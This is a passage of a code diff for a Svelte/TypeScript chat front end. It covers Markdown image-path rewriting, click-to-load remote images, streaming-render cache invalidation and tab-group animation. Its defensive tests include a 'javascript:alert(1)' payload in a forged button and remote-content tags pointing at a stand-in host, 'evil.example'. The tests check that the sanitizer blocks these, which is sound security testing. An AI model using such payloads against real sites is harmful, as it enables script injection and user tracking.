+ * `resolveImageUrl`'s join-without-double-slash semantics (an empty `apiBase`
+ * yields a root-relative path).
+ */
+function rewriteImageSrc(src: string, image: MarkdownImageOptions): string {
+  const trimmed = src.trim();
+  if (trimmed.length === 0) return src;
+  // Network-path URLs (including browser-normalized backslashes) are URLs,
+  // not local filesystem paths. The sanitizer applies the consent policy.
+  if (/^(?:data:|https?:\/\/)/i.test(trimmed) || /^[/\\]{2}/.test(trimmed)) return src;
+
+  let path: string;
+
+  if (/^file:\/\//i.test(trimmed)) {
+    // file:///abs/path (and file://localhost/abs/path) → /abs/path.
+    const match = /^file:\/\/([^/]*)(\/.*)?$/i.exec(trimmed);
+    if (match === null) return src;
+    const host = match[1] ?? "";
+    const filePath = match[2] ?? "/";
+    path = host === "" || host.toLowerCase() === "localhost" ? filePath : `/${host}${filePath}`;
+    path = safeDecode(path);
+  } else if (trimmed.startsWith("/")) {
+    path = safeDecode(trimmed);
+  } else if (trimmed.startsWith("~/")) {
+    // The backend expands a leading `~`; pass it through un-joined.
+    path = trimmed;
+  } else if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(trimmed)) {
+    // Some other scheme (mailto:, ftp:, …) — leave it alone.
+    return src;
+  } else {
+    const cwd = image.cwd ?? null;
+    if (cwd === null || cwd.length === 0) return src;
+    const base = cwd.replace(/\/+$/, "");
+    path = `${base}/${safeDecode(trimmed.replace(/^\.\//, ""))}`;
+  }
+
+  return resolveImageUrl(`/local-image?path=${encodeURIComponent(path)}`, image.apiBase);
+}
+
+/**
+ * Parse with marked, optionally rewriting image token `href`s just before
+ * rendering. Doing it on the token stream (not the Markdown source) means
+ * fenced/inline code is never touched, and reference-style images resolve
+ * through marked's normal link resolution. When `image` is absent the parse is
+ * byte-identical to today's.
+ */
+function parseMarkdown(src: string, image?: MarkdownImageOptions): string {
+  if (image === undefined) return md.parse(src) as string;
+
+  const renderer = new md.Renderer();
+  const imageRenderer = renderer.image;
+  renderer.image = (token) =>
+    imageRenderer.call(renderer, {
+      ...token,
+      href: rewriteImageSrc(token.href, image),
+    });
+  return md.parse(src, { renderer }) as string;
 }
 
 /** Render Markdown to sanitized HTML. Returns `""` if parsing ever throws. */
-export function renderMarkdown(text: string, opts?: { streaming?: boolean }): string {
+export function renderMarkdown(text: string, opts?: MarkdownRenderOptions): string {
   const src = opts?.streaming === true ? closeOpenDelimiters(text) : text;
   try {
-    const raw = md.parse(src) as string;
-    return sanitize(addCopyButtons(raw));
+    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
   } catch {
     return "";
   }
@@ -225,11 +450,14 @@ export function renderMarkdown(text: string, opts?: { streaming?: boolean }): st
  * degenerate case (nothing settled yet) is exactly today's behavior.
  * Returns `""` if parsing ever throws.
  */
-export function renderMarkdownTail(text: string, seed: DelimiterCounts = ZERO_COUNTS): string {
+export function renderMarkdownTail(
+  text: string,
+  seed: DelimiterCounts = ZERO_COUNTS,
+  opts?: MarkdownRenderOptions,
+): string {
   const src = closeOpenDelimiters(text, seed);
   try {
-    const raw = md.parse(src) as string;
-    return sanitize(addCopyButtons(raw));
+    return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
   } catch {
     return "";
   }
diff --git a/src/features/markdown/logic/streaming-markdown.test.ts b/src/features/markdown/logic/streaming-markdown.test.ts
index f810579..931803b 100644
--- a/src/features/markdown/logic/streaming-markdown.test.ts
+++ b/src/features/markdown/logic/streaming-markdown.test.ts
@@ -240,6 +240,8 @@ describe("streaming-markdown corpus equivalence", () => {
 });
 
 describe("streaming-markdown performance fixture (counts, not wall-clock)", () => {
+  // Thousands of real parser/sanitizer calls contend with the unrestricted suite.
+  // This asserts operation counts, not speed; keep all counts and allow CPU load.
   it("hljs calls and prefix mutations stay proportional to BLOCKS, not length × deltas", () => {
     const spy = vi.spyOn(hljs, "highlight");
     const state = createStreamingMarkdown();
@@ -282,7 +284,7 @@ describe("streaming-markdown performance fixture (counts, not wall-clock)", () =
     expect(normalizeHtml(final.prefixHtml + final.tailHtml)).toBe(
       normalizeHtml(renderMarkdown(doc, { streaming: true })),
     );
-  });
+  }, 20_000);
 });
 
 describe("markdown tail-pipeline exports", () => {
diff --git a/src/features/markdown/logic/streaming-markdown.ts b/src/features/markdown/logic/streaming-markdown.ts
index e273c66..b530cd4 100644
--- a/src/features/markdown/logic/streaming-markdown.ts
+++ b/src/features/markdown/logic/streaming-markdown.ts
@@ -31,6 +31,8 @@
 import {
   countDelimiters,
   type DelimiterCounts,
+  type MarkdownImageOptions,
+  type MarkdownRenderOptions,
   renderMarkdown,
   renderMarkdownTail,
   renderOpenFence,
@@ -90,6 +92,13 @@ export interface StreamingMarkdownState {
   blankRunStart: number | null;
   /** INTERNAL — the best settle candidate found by the current scan pass. */
   pendingSettle: number;
+  /**
+   * INTERNAL — identity of the image-render options (apiBase + cwd) the cache
+   * was rendered with. The options can arrive asynchronously (the cwd loads
+   * after mount), so a change invalidates the settled cache: image srcs in the
+   * prefix would otherwise keep the stale resolution.
+   */
+  imageKey: string;
 }
 
 /** Fresh state for one streaming message. */
@@ -109,9 +118,22 @@ export function createStreamingMarkdown(): StreamingMarkdownState {
     linkRefSeen: false,
     blankRunStart: null,
     pendingSettle: -1,
+    imageKey: "",
   };
 }
 
+/** Identity of the image options, so an async cwd appearing invalidates the cache. */
+function imageKeyOf(image: MarkdownImageOptions | undefined): string {
+  return image === undefined ? "" : JSON.stringify([image.apiBase, image.cwd ?? null]);
+}
+
+/** Build per-render options without setting `image: undefined` (exactOptionalPropertyTypes). */
+function renderOptionsOf(
+  image: MarkdownImageOptions | undefined,
+): MarkdownRenderOptions | undefined {
+  return image === undefined ? undefined : { image };
+}
+
 // ── Scanner helpers (CommonMark block starts, mirroring what marked does) ──
 
 /** A fenced-code-block opening line: ≤3 spaces indent, ≥3 backticks/tildes + info string. */
@@ -382,9 +404,13 @@ function scan(s: StreamingMarkdownState): void {
 }
 
 /** Render the newly-settled span once and fold it into the prefix cache. */
-function commitSettle(s: StreamingMarkdownState, end: number): void {
+function commitSettle(
+  s: StreamingMarkdownState,
+  end: number,
+  image: MarkdownImageOptions | undefined,
+): void {
   const chunk = s.source.slice(s.settledOffset, end);
-  s.prefixHtml += renderMarkdown(chunk);
+  s.prefixHtml += renderMarkdown(chunk, renderOptionsOf(image));
   s.seed = addCounts(s.seed, countDelimiters(chunk));
   s.settledOffset = end;
 }
@@ -395,13 +421,24 @@ function commitSettle(s: StreamingMarkdownState, end: number): void {
  * string identity is what lets Svelte skip settled DOM). Resets itself when
  * the text shrinks or is otherwise not an append-extension.
  */
-export function advance(state: StreamingMarkdownState, textSoFar: string): StreamingMarkdownResult {
-  if (textSoFar === state.source && state.last !== null) return state.last;
-  if (!textSoFar.startsWith(state.source)) {
+export function advance(
+  state: StreamingMarkdownState,
+  textSoFar: string,
+  opts?: MarkdownRenderOptions,
+): StreamingMarkdownResult {
+  const image = opts?.image;
+  const imageKey = imageKeyOf(image);
+  if (textSoFar === state.source && state.last !== null && state.imageKey === imageKey) {
+    return state.last;
+  }
+  // A changed render option (e.g. the cwd loading after mount) invalidates the
+  // settled cache — its image srcs were resolved with the old options.
+  if (state.imageKey !== imageKey || !textSoFar.startsWith(state.source)) {
     resetTo(state, textSoFar);
   } else {
     state.source = textSoFar;
   }
+  state.imageKey = imageKey;
 
   // A PARTIAL trailing line that starts a `[…]:` definition already changes
   // how the whole-text parse resolves shortrefs (marked parses the truncated
@@ -418,10 +455,10 @@ export function advance(state: StreamingMarkdownState, textSoFar: string): Strea
 
   scan(state);
   if (!state.linkRefSeen && state.pendingSettle > state.settledOffset) {
-    commitSettle(state, state.pendingSettle);
+    commitSettle(state, state.pendingSettle, image);
   }
 
-  const result = renderTail(state);
+  const result = renderTail(state, image);
   state.last = result;
   return result;
 }
@@ -434,7 +471,10 @@ export function advance(state: StreamingMarkdownState, textSoFar: string): Strea
  *     between the marker's arrival and the line's completion);
  *  3. otherwise prose → today's pipeline, seeded with the settled parity.
  */
-function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
+function renderTail(
+  s: StreamingMarkdownState,
+  image: MarkdownImageOptions | undefined,
+): StreamingMarkdownResult {
   // 1. Open top-level fence: everything from its opening line is code content.
   if (s.fence !== null && s.fence.start >= s.settledOffset) {
     let code = s.source.slice(s.fence.contentStart);
@@ -467,7 +507,8 @@ function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
       const prose = s.source.slice(s.settledOffset, s.scanOffset);
       return {
         prefixHtml: s.prefixHtml,
-        tailHtml: renderMarkdownTail(prose, s.seed) + renderOpenFence(info, ""),
+        tailHtml:
+          renderMarkdownTail(prose, s.seed, renderOptionsOf(image)) + renderOpenFence(info, ""),
       };
     }
   }
@@ -475,6 +516,6 @@ function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
   // 3. Prose tail.
   return {
     prefixHtml: s.prefixHtml,
-    tailHtml: renderMarkdownTail(s.source.slice(s.settledOffset), s.seed),
+    tailHtml: renderMarkdownTail(s.source.slice(s.settledOffset), s.seed, renderOptionsOf(image)),
   };
 }
diff --git a/src/features/markdown/ui/Markdown.svelte b/src/features/markdown/ui/Markdown.svelte
index da2c9ba..a0fd276 100644
--- a/src/features/markdown/ui/Markdown.svelte
+++ b/src/features/markdown/ui/Markdown.svelte
@@ -1,16 +1,30 @@
 <script lang="ts">
-  import { renderMarkdown } from "../logic/markdown";
+  import { type MarkdownImageOptions, renderMarkdown } from "../logic/markdown";
   import { advance, createStreamingMarkdown } from "../logic/streaming-markdown";
 
   let {
     text,
     streaming = false,
+    image = undefined,
   }: {
     text: string;
     /** Balance dangling delimiters while the message is still generating. */
     streaming?: boolean;
+    /**
+     * Per-conversation local-image context: the backend HTTP base and the
+     * conversation cwd. Markdown image srcs that are local paths are rewritten
+     * through `${apiBase}/local-image?path=…` (relative paths resolve against
+     * `cwd`). Remote HTTP(S) images require a click; data, same-origin and
+     * backend images load inline. Omit it to skip local-path rewriting.
+     */
+    image?: MarkdownImageOptions;
   } = $props();
 
+  // Keep the optional `image` out of the options object when absent
+  // (exactOptionalPropertyTypes). Identity is irrelevant: the streaming cache
+  // keys on apiBase/cwd values.
+  const renderOpts = $derived(image === undefined ? undefined : { image });
+
   // Checkpoint streaming state: one per component instance (per streaming
   // message). It caches the settled blocks' HTML so each delta re-renders only
   // the live tail — never the settled prefix (see logic/streaming-markdown).
@@ -22,14 +36,14 @@
   // chunk): ONE full authoritative render — today's exact behavior, so the
   // final/persisted output is byte-identical by construction.
   const rendered = $derived.by(() => {
-    if (!streaming) return { prefixHtml: "", tailHtml: renderMarkdown(text) };
-    return advance(streamingState, text);
+    if (!streaming) return { prefixHtml: "", tailHtml: renderMarkdown(text, renderOpts) };
+    return advance(streamingState, text, renderOpts);
   });
 
   let container: HTMLElement;
 
-  // One delegated listener on the stable container handles every code block's
-  // copy button — including blocks re-created when the tail html changes
+  // One delegated listener on the stable container handles image consent and
+  // every code block's copy button — including blocks re-created when the tail html changes
   // (streaming), since the listener lives on the container, not the buttons.
   // Clipboard is the edge effect; absent (insecure context) → no-op.
   $effect(() => {
@@ -39,6 +53,26 @@
     const onClick = (event: Event): void => {
       const target = event.target;
       if (!(target instanceof Element)) return;
+      const remote = target.closest<HTMLButtonElement>("button.remote-image[data-src]");
+      if (remote !== null && el.contains(remote)) {
+        event.preventDefault(); // A Markdown image may be wrapped in a link.
+        event.stopPropagation();
+        // data-* is authorable in raw HTML: validate again at the DOM edge.
+        let url: URL;
+        try {
+          url = new URL(remote.dataset.src ?? "");
+        } catch {
+          return;
+        }
+        if (url.protocol !== "http:" && url.protocol !== "https:") return;
+        const img = el.ownerDocument.createElement("img");
+        img.alt = remote.dataset.alt ?? "";
+        if (remote.dataset.title !== undefined) img.title = remote.dataset.title;
+        img.setAttribute("referrerpolicy", "no-referrer");
+        img.src = url.href;
+        remote.replaceWith(img);
+        return;
+      }
       const button = target.closest<HTMLButtonElement>("[data-copy]");
       if (button === null) return;
 
diff --git a/src/features/markdown/ui/markdown.test.ts b/src/features/markdown/ui/markdown.test.ts
index 721dddb..b86cc0a 100644
--- a/src/features/markdown/ui/markdown.test.ts
+++ b/src/features/markdown/ui/markdown.test.ts
@@ -39,6 +39,64 @@ describe("Markdown", () => {
     expect(writeText.mock.calls[0]?.[0]).toContain("const x = 1;");
   });
 
+  it.each([
+    false,
+    true,
+  ])("loads only the clicked remote image (streaming=%s)", async (streaming) => {
+    const { container } = render(Markdown, {
+      props: {
+        text: '![first](https://evil.example/a.png "A title")\n\n![second](https://other.example/b.png)',
+        streaming,
+      },
+    });
+    expect(container.querySelector("img")).toBeNull();
+    const button = screen.getByRole("button", { name: "Load image from evil.example" });
+    await fireEvent.click(button);
+    const img = container.querySelector("img");
+    expect(img?.getAttribute("src")).toBe("https://evil.example/a.png");
+    expect(img?.getAttribute("alt")).toBe("first");
+    expect(img?.getAttribute("title")).toBe("A title");
+    expect(img?.getAttribute("referrerpolicy")).toBe("no-referrer");
+    expect(
+      screen.getByRole("button", { name: "Load image from other.example" }),
+    ).toBeInTheDocument();
+  });
+
+  it.each([
+    false,
+    true,
+  ])("keeps non-image HTML inert before and after image consent (streaming=%s)", async (streaming) => {
+    const { container } = render(Markdown, {
+      props: {
+        text: '<div style="background:url(https://evil.example/bg)"><video poster="https://evil.example/poster" src="https://evil.example/video"></video><svg><image href="https://evil.example/svg" /></svg><input type="image" src="https://evil.example/input"><img src="https://evil.example/allowed-after-click"></div>',
+        streaming,
+      },
+    });
+    expect(container.querySelector("video,svg,input,[style],img")).toBeNull();
+    await fireEvent.click(screen.getByRole("button", { name: "Load image from evil.example" }));
+    expect(container.querySelectorAll("img")).toHaveLength(1);
+    expect(container.querySelector("img")?.getAttribute("src")).toBe(
+      "https://evil.example/allowed-after-click",
+    );
+    expect(container.querySelector("video,svg,input,[style]")).toBeNull();
+  });
+
+  it("rejects an unsafe URL in a forged placeholder", async () => {
+    const { container } = render(Markdown, {
+      props: { text: '<button class="remote-image" data-src="javascript:alert(1)">Load</button>' },
+    });
+    await fireEvent.click(screen.getByRole("button", { name: "Load" }));
+    expect(container.querySelector("img")).toBeNull();
+  });
+
+  it("delegates clicks on newly rendered images and prevents linked-image navigation", async () => {
+    const { container, rerender } = render(Markdown, { props: { text: "start" } });
+    await rerender({ text: "[![pic](https://evil.example/a.png)](https://other.example)" });
+    const button = screen.getByRole("button", { name: "Load image from evil.example" });
+    expect(await fireEvent.click(button)).toBe(false);
+    expect(container.querySelector("img")?.getAttribute("src")).toBe("https://evil.example/a.png");
+  });
+
   it("non-streaming renders a single container (today's full-render path)", () => {
     const { container } = render(Markdown, { props: { text: "# Hello" } });
     expect(container.querySelector(".markdown-stream-prefix")).toBeNull();
diff --git a/src/features/surface-host/index.ts b/src/features/surface-host/index.ts
index 1e21e3d..f6a3041 100644
--- a/src/features/surface-host/index.ts
+++ b/src/features/surface-host/index.ts
@@ -1,3 +1,4 @@
+export { MESSAGE_QUEUE_RENDERER_ID, messageQueueCount } from "./logic/message-queue";
 export { buildInvoke, planSurface } from "./logic/plan";
 export type { FieldView, SurfaceRenderPlan } from "./logic/types";
 export { default as SurfaceView } from "./ui/SurfaceView.svelte";
diff --git a/src/features/surface-host/logic/message-queue.test.ts b/src/features/surface-host/logic/message-queue.test.ts
index ae91c8f..93256b4 100644
--- a/src/features/surface-host/logic/message-queue.test.ts
+++ b/src/features/surface-host/logic/message-queue.test.ts
@@ -1,6 +1,8 @@
+import type { SurfaceSpec } from "@dispatch/ui-contract";
 import type { QueuedMessage } from "@dispatch/wire";
 import { describe, expect, it } from "vitest";
 import {
+  messageQueueCount,
   parseMessageQueuePayload,
   reconcileCancelledIds,
   selectVisibleMessages,
@@ -103,3 +105,36 @@ describe("reconcileCancelledIds", () => {
     expect([...result]).toEqual(["m2"]);
   });
 });
+
+describe("messageQueueCount", () => {
+  const spec = (payload: unknown): SurfaceSpec => ({
+    id: "message-queue",
+    region: "inline",
+    title: "Message queue",
+    fields: [{ kind: "custom", rendererId: "message-queue", payload }],
+  });
+
+  it("counts messages, including image-only input", () => {
+    expect(messageQueueCount(spec({ messages: [msg("m1", ""), msg("m2", "next")] }))).toBe(2);
+  });
+
+  it("distinguishes an empty queue from an unavailable snapshot", () => {
+    expect(messageQueueCount(spec({ messages: [] }))).toBe(0);
+    expect(messageQueueCount(null)).toBeUndefined();
+  });
+
+  it("returns unknown for missing fields or a different renderer", () => {
+    expect(messageQueueCount({ ...spec(null), fields: [] })).toBeUndefined();
+    expect(
+      messageQueueCount({
+        ...spec(null),
+        fields: [{ kind: "custom", rendererId: "other", payload: { messages: [msg("m1", "x")] } }],
+      }),
+    ).toBeUndefined();
+  });
+
+  it("returns unknown for malformed payloads", () => {
+    expect(messageQueueCount(spec({ messages: "nope" }))).toBeUndefined();
+    expect(messageQueueCount(spec({ messages: [{ id: "m1" }] }))).toBeUndefined();
+  });
+});
diff --git a/src/features/surface-host/logic/message-queue.ts b/src/features/surface-host/logic/message-queue.ts
index 7a3653e..a49d4d0 100644
--- a/src/features/surface-host/logic/message-queue.ts
+++ b/src/features/surface-host/logic/message-queue.ts
@@ -1,3 +1,4 @@
+import type { SurfaceSpec } from "@dispatch/ui-contract";
 import type { QueuedMessage } from "@dispatch/wire";
 
 /**
@@ -41,6 +42,15 @@ export function parseMessageQueuePayload(payload: unknown): MessageQueueData | n
   return { messages };
 }
 
+/** Queue size from a validated snapshot; absent/malformed data stays unknown. */
+export function messageQueueCount(spec: SurfaceSpec | null): number | undefined {
+  const field = spec?.fields.find(
+    (field) => field.kind === "custom" && field.rendererId === MESSAGE_QUEUE_RENDERER_ID,
+  );
+  if (field?.kind !== "custom") return undefined;
+  return parseMessageQueuePayload(field.payload)?.messages.length;
+}
+
 /** The `rendererId` the message-queue extension's `custom` surface field uses. */
 export const MESSAGE_QUEUE_RENDERER_ID = "message-queue";
 
diff --git a/src/features/tabs/index.ts b/src/features/tabs/index.ts
index 0094528..145a3d9 100644
--- a/src/features/tabs/index.ts
+++ b/src/features/tabs/index.ts
@@ -1,12 +1,14 @@
-export type { TabGroupForest, TabGroupNode } from "./tab-groups";
+export type { GroupTone, TabGroupForest, TabGroupNode } from "./tab-groups";
 export {
   buildTabGroups,
   cascadeCloseIds,
   directGroupChildren,
+  GROUP_TONES,
   groupBleedPx,
   groupDescendants,
   groupGutterPx,
   groupParentCandidates,
+  groupTone,
   lastRowIsGroup,
   visibleGroupParents,
 } from "./tab-groups";
diff --git a/src/features/tabs/tab-flip.test.ts b/src/features/tabs/tab-flip.test.ts
new file mode 100644
index 0000000..43e966f
--- /dev/null
+++ b/src/features/tabs/tab-flip.test.ts
@@ -0,0 +1,52 @@
+import { describe, expect, it } from "vitest";
+import { cardFlipId, forestFlipIds, groupFlipId, isGroupFlipId, leavingFlipIds } from "./tab-flip";
+import { buildTabGroups } from "./tab-groups";
+import type { Tab } from "./tabs";
+
+function tab(id: string, parent?: string): Tab {
+  return {
+    conversationId: id,
+    model: "m",
+    title: id,
+    workspaceId: "w",
+    ...(parent !== undefined ? { tabGroupParentId: parent } : {}),
+  };
+}
+
+describe("flip ids", () => {
+  it("distinguishes a card from the group box of the same conversation", () => {
+    expect(cardFlipId("p")).not.toBe(groupFlipId("p"));
+    expect(isGroupFlipId(groupFlipId("p"))).toBe(true);
+    expect(isGroupFlipId(cardFlipId("p"))).toBe(false);
+  });
+});
+
+describe("forestFlipIds", () => {
+  it("lists every card plus a box for each tab that has visible subagents", () => {
+    const forest = buildTabGroups([tab("p"), tab("c", "p"), tab("g", "c"), tab("solo")]);
+    expect([...forestFlipIds(forest)].sort()).toEqual(
+      ["c", "g", "group:c", "group:p", "p", "solo"].sort(),
+    );
+  });
+
+  it("has no boxes when nothing is grouped", () => {
+    expect([...forestFlipIds(buildTabGroups([tab("a"), tab("b")]))]).toEqual(["a", "b"]);
+  });
+});
+
+describe("leavingFlipIds", () => {
+  it("returns the rendered ids the next render drops, in rendered order", () => {
+    const before = buildTabGroups([tab("p"), tab("c", "p"), tab("solo")]);
+    // Closing the only subagent drops its card AND the parent's group box.
+    const after = buildTabGroups([tab("p"), tab("solo")]);
+    expect(leavingFlipIds([...forestFlipIds(before)], forestFlipIds(after))).toEqual([
+      "group:p",
+      "c",
+    ]);
+  });
+
+  it("is empty when a tab is only added", () => {
+    const next = forestFlipIds(buildTabGroups([tab("a"), tab("b", "a")]));
+    expect(leavingFlipIds(["a"], next)).toEqual([]);
+  });
+});
diff --git a/src/features/tabs/tab-flip.ts b/src/features/tabs/tab-flip.ts
new file mode 100644
index 0000000..3bb4c03
--- /dev/null
+++ b/src/features/tabs/tab-flip.ts
@@ -0,0 +1,45 @@
+import type { TabGroupForest, TabGroupNode } from "./tab-groups";
+
+/**
+ * Flip ids — the PURE identity scheme behind the tab grid's FLIP animation.
+ *
+ * Every animated element carries a `data-flip-id`: a tab card uses its
+ * conversation id, a group box uses `group:<parent conversation id>`. The ids
+ * are stable across re-renders even when the DOM node is replaced (a card
+ * becoming a double-width group parent is a NEW node), which is what lets
+ * GSAP Flip morph the old element into the new one.
+ */
+
+const GROUP_PREFIX = "group:";
+
+/** Flip id of a tab card. */
+export function cardFlipId(conversationId: string): string {
+  return conversationId;
+}
+
+/** Flip id of the group box wrapping `parentConversationId` + its subagents. */
+export function groupFlipId(parentConversationId: string): string {
+  return `${GROUP_PREFIX}${parentConversationId}`;
+}
+
+/** Whether a flip id names a group box (vs a tab card). */
+export function isGroupFlipId(flipId: string): boolean {
+  return flipId.startsWith(GROUP_PREFIX);
+}
+
+/** Every flip id the grid renders for `forest` (cards + group boxes). */
+export function forestFlipIds(forest: TabGroupForest): Set<string> {
+  const out = new Set<string>();
+  const walk = (node: TabGroupNode): void => {
+    out.add(cardFlipId(node.tab.conversationId));
+    if (node.children.length > 0) out.add(groupFlipId(node.tab.conversationId));
+    for (const child of node.children) walk(child);
+  };
+  for (const root of forest.roots) walk(root);
+  return out;
+}
+
+/** The currently-rendered flip ids that the NEXT render drops (order kept). */
+export function leavingFlipIds(current: readonly string[], next: ReadonlySet<string>): string[] {
+  return current.filter((id) => !next.has(id));
+}
diff --git a/src/features/tabs/tab-groups.test.ts b/src/features/tabs/tab-groups.test.ts
index a89a469..67150ff 100644
--- a/src/features/tabs/tab-groups.test.ts
+++ b/src/features/tabs/tab-groups.test.ts
@@ -7,6 +7,7 @@ import {
   groupDescendants,
   groupGutterPx,
   groupParentCandidates,
+  groupTone,
   lastRowIsGroup,
   visibleGroupParents,
 } from "./tab-groups";
@@ -132,6 +133,36 @@ describe("cascadeCloseIds (the ids a cascading tab close removes)", () => {
   });
 });
 
+describe("groupTone", () => {
+  it("rotates three colours by level, starting at the outermost box", () => {
+    expect([1, 2, 3, 4, 5, 6, 7].map(groupTone)).toEqual([
+      "secondary",
+      "success",
+      "accent",
+      "secondary",
+      "success",
+      "accent",
+      "secondary",
+    ]);
+  });
+
+  it("never gives a box the colour of its parent or grandparent", () => {
+    for (let level = 3; level <= 20; level++) {
+      expect(groupTone(level)).not.toBe(groupTone(level - 1));
+      expect(groupTone(level)).not.toBe(groupTone(level - 2));
+    }
+  });
+
+  it("never uses primary (reserved for the active tab)", () => {
+    for (let level = 1; level <= 6; level++) expect(groupTone(level)).not.toBe("primary");
+  });
+
+  it("stays in range for out-of-range levels", () => {
+    expect(groupTone(0)).toBe("accent");
+    expect(groupTone(-1)).toBe("success");
+  });
+});
+
 describe("groupBleedPx / groupGutterPx", () => {
   it("is zero without groups", () => {
     expect(groupGutterPx(0)).toBe(0);
diff --git a/src/features/tabs/tab-groups.ts b/src/features/tabs/tab-groups.ts
index a1aa464..ff3ddd4 100644
--- a/src/features/tabs/tab-groups.ts
+++ b/src/features/tabs/tab-groups.ts
@@ -169,6 +169,22 @@ export function lastRowIsGroup(children: readonly TabGroupNode[]): boolean {
 }
 
 /**
+ * The DaisyUI theme colour a group box at nesting `level` (1 = outermost) is
+ * tinted with. Three colours ROTATE by level, so a box always differs from
+ * the box around it AND from the one around that (with two colours a box
+ * would match its grandparent). `primary` is deliberately excluded — it marks
+ * the active tab, which must stay legible inside any box.
+ */
+export const GROUP_TONES = ["secondary", "success", "accent"] as const;
+export type GroupTone = (typeof GROUP_TONES)[number];
+
+export function groupTone(level: number): GroupTone {
+  const n = GROUP_TONES.length;
+  const i = (((Math.trunc(level) - 1) % n) + n) % n; // non-negative even for level < 1
+  return GROUP_TONES[i] ?? GROUP_TONES[0];
+}
+
+/**
  * Horizontal bleed (px) of a group box at nesting `level` (1 = outermost)
  * when the deepest box is `maxDepth`. A box bleeds OUTWARD by this much (a
  * negative margin + equal padding), so the cards inside every box sit on
diff --git a/src/features/tabs/ui.test.ts b/src/features/tabs/ui.test.ts
index 0243ea4..88b89bf 100644
--- a/src/features/tabs/ui.test.ts
+++ b/src/features/tabs/ui.test.ts
@@ -1,6 +1,7 @@
 import { fireEvent, render, screen, within } from "@testing-library/svelte";
 import userEvent from "@testing-library/user-event";
-import { describe, expect, it, vi } from "vitest";
+import { gsap } from "gsap";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import type { Tab } from "./tabs";
 import TabList from "./ui/TabList.svelte";
 
@@ -186,7 +187,7 @@ describe("TabList", () => {
     }
   });
 
-  it("fixes the tab grid region at 40vh so a long set scrolls internally", () => {
+  it("fixes the tab grid region at 70vh so a long set scrolls internally", () => {
     render(TabList, {
       props: {
         tabs: sampleTabs,
@@ -199,7 +200,7 @@ describe("TabList", () => {
 
     const tabs = screen.getAllByRole("tab");
     const region = tabs[0]?.parentElement?.parentElement;
-    expect(region).toHaveClass("h-[40vh]");
+    expect(region).toHaveClass("h-[70vh]");
     expect(region).toHaveClass("overflow-y-auto");
   });
 
@@ -383,9 +384,16 @@ describe("TabList", () => {
           s?.paddingLeft,
         ]);
       }
-      // Every box paints a 15% lavender tint, so nested boxes compound per level.
-      expect(outer).toHaveClass("bg-secondary/15");
-      expect(inner).toHaveClass("bg-secondary/15");
+      // Each level is tinted with its own rotating theme colour.
+      expect(outer?.dataset.tone).toBe("secondary");
+      expect(inner?.dataset.tone).toBe("success");
+      // The tint lives on each box's own backdrop layer (FLIP fades it in).
+      const tint = (box: HTMLElement | null) =>
+        box
+          ?.querySelector<HTMLElement>(":scope > [data-group-backdrop]")
+          ?.style.getPropertyValue("--group-tone");
+      expect(tint(outer)).toBe("var(--color-secondary)");
+      expect(tint(inner)).toBe("var(--color-success)");
       expect(outer?.style.getPropertyValue("margin-inline")).toBe(`-${outer?.style.paddingLeft}`);
     });
 
@@ -416,6 +424,134 @@ describe("TabList", () => {
       expect(document.querySelector("[data-tab-group]")).toBeNull();
     });
 
+    describe("FLIP animation (motion allowed)", () => {
+      /** Jump every running GSAP animation to `progress` (0–1), delays included. */
+      function seekAnimations(progress: number): void {
+        for (const t of gsap.globalTimeline.getChildren(true, true, false)) t.progress(progress);
+      }
+
+      // jsdom has no matchMedia, which the grid reads as "no motion" — stub
+      // the outermost edge so the GSAP Flip path actually runs.
+      beforeEach(() => {
+        vi.stubGlobal(
+          "matchMedia",
+          vi.fn(() => ({ matches: false }) as unknown as MediaQueryList),
+        );
+      });
+      afterEach(() => {
+        vi.unstubAllGlobals();
+      });
+
+      const props = {
+        activeConversationId: "p",
+        onSelect: vi.fn(),
+        onClose: vi.fn(),
+        onNewDraft: vi.fn(),
+        onSetTabGroup: vi.fn(),
+      };
+
+      it("leaves an inert ghost of a closed tab (and its dissolved box) that is never a tab", async () => {
+        const two = grouped.filter((t) => ["p", "c1", "solo"].includes(t.conversationId));
+        const { rerender } = render(TabList, { props: { ...props, tabs: two } });
+        // jsdom lays nothing out (every box is 0×0) — give elements a real size.
+        const rect = vi
+          .spyOn(Element.prototype, "getBoundingClientRect")
+          .mockReturnValue(new DOMRect(0, 0, 120, 72));
+        // Close c1: its card AND p's group box leave.
+        await rerender({ ...props, tabs: two.filter((t) => t.conversationId !== "c1") });
+        rect.mockRestore();
+
+        const ghosts = [...document.querySelectorAll<HTMLElement>("[data-tab-ghost]")];
+        expect(ghosts).toHaveLength(2);
+        for (const g of ghosts) {
+          expect(g).toHaveAttribute("aria-hidden", "true");
+          expect(g.querySelector("[data-conversation-id],[data-flip-id],[role]")).toBeNull();
+        }
+        // Paint order: the dissolving box's tint goes FIRST in its enclosing
+        // grid (under every card); the closed card's ghost goes on top.
+        const grid = screen.getByRole("tablist");
+        const boxGhost = grid.firstElementChild as HTMLElement;
+        expect(boxGhost).toHaveAttribute("data-tab-ghost");
+        // A clipping frame around a copy of the tint only — no card copies.
+        expect(boxGhost.childElementCount).toBe(1);
+        expect(boxGhost.firstElementChild?.childElementCount).toBe(0);
+        // Ghosts SHRINK (a clipped height), they don't fade or scale: halfway
+        // through, each is shorter than it started; at the end they're gone.
+        const full = ghosts.map((g) => Number.parseFloat(g.style.height));
+        seekAnimations(0.5);
+        ghosts.forEach((g, i) => {
+          expect(g.style.overflow).toBe("hidden");
+          expect(g.style.opacity).toBe("");
+          expect(Number.parseFloat(g.style.height)).toBeLessThan(full[i] ?? 0);
+        });
+        const cardGhost = ghosts.find((g) => g !== boxGhost);
+        expect(cardGhost?.parentElement).toBe(grid.parentElement);
+        expect(cardGhost).toHaveTextContent("Child 1");
+        // Ghosts are invisible to queries: only the real remaining tabs count.
+        expect(screen.getAllByRole("tab").map((t) => t.dataset.conversationId)).toEqual([
+          "p",
+          "solo",
+        ]);
+        expect(screen.getAllByRole("button", { name: "Close tab" })).toHaveLength(2);
+        seekAnimations(1);
+        expect(document.querySelector("[data-tab-ghost]")).toBeNull();
+      });
+
+      it("measures each element at most twice per change (no layout thrash)", async () => {
